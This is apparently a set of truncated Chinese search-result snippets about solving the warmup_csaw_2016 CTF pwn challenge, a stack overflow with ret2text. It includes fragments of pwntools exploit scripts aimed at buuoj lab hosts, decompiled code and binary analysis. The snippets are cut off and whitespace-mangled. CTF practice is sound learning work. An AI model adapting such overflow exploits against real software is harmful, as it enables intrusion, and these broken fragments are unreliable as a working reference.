warmup_csaw_2016 闲的没事干写个pwn题玩。 在buuoj上面看的。 栈溢出,ret2text。 直接给了shell地址只要溢出就好。 exp: frompwnimport*importbase64importtime context.log_level ='debug'sh = remote('node4.buuoj.cn',26803)# sh = process('./warmup_csaw_2016')time.sleep(1) sh.recv()# sh...
进入跟踪,我们可以看到,程序调用了system命令 首先我们用cyclic创建一个200字符的字符串,利用它来判断溢出点到返回地址的偏移 启动Pwndbg进行调试 由图可得,根据小端序,'saaa'之前有多少个字符,就是偏移量 写出脚本 frompwnimport*p=remote('node3.buuoj.cn',29184)#根据靶机不同来进行更改addr=0x40060dpayload='...
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-80h] char v5; // [rsp+40h] [rbp-40h] write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(&s, "%p\n", sub_40060D); write(1, &s, 9uLL); write(1, "...
1.file root@kali:~/Downloads# file warmup_csaw_2016warmup_csaw_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,forGNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped 64位程序 ...